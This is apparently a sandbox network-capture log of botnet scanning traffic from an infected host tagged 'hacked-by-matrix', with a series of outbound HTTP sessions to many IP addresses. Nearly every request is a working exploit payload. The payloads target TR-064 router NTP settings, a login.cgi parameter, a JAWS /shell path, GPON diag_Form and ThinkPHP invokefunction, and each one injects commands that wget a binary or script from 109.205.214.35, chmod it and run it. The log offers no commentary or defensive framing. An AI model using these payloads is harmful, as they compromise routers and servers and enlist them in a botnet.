Mar 21, 2024 05:18:00.637825966 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:01.246697903 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
858	192.168.2.23	57760	97.126.17.153	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:01.340236902 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
859	192.168.2.23	42086	168.206.200.240	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:01.497256994 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:01.816248894 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:01 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
860	192.168.2.23	37006	71.94.231.100	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:01.572515011 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:02.217828035 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
861	192.168.2.23	54630	172.64.23.251	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:01.632884979 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
862	192.168.2.23	34524	213.52.66.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:01.818711996 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:02.014525890 CET	515	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:01 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
863	192.168.2.23	34534	54.147.241.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:02.359868050 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:02.677534103 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:03.004426956 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:03.102812052 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
864	192.168.2.23	42316	2.203.4.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.202675104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
865	192.168.2.23	32788	212.186.142.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.202708006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
866	192.168.2.23	60036	210.205.170.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.202760935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
867	192.168.2.23	49124	212.214.141.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.202801943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
868	192.168.2.23	45578	109.145.184.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.202838898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
869	192.168.2.23	58762	42.214.17.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.202874899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
870	192.168.2.23	36862	118.25.152.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.202902079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
871	192.168.2.23	53860	88.251.90.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.973556042 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:05.210903883 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
872	192.168.2.23	43310	137.103.22.9	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.711030960 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
873	192.168.2.23	40284	212.76.99.245	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.714186907 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
874	192.168.2.23	46594	50.43.54.18	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.763051987 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
875	192.168.2.23	43320	137.103.22.9	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.833455086 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
876	192.168.2.23	39492	50.102.94.71	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.890031099 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
877	192.168.2.23	55324	66.27.118.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:05.985528946 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
878	192.168.2.23	39502	50.102.94.71	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.039262056 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
879	192.168.2.23	55334	66.27.118.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.160157919 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:06.734920025 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
880	192.168.2.23	36020	167.248.186.26	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:06.160321951 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
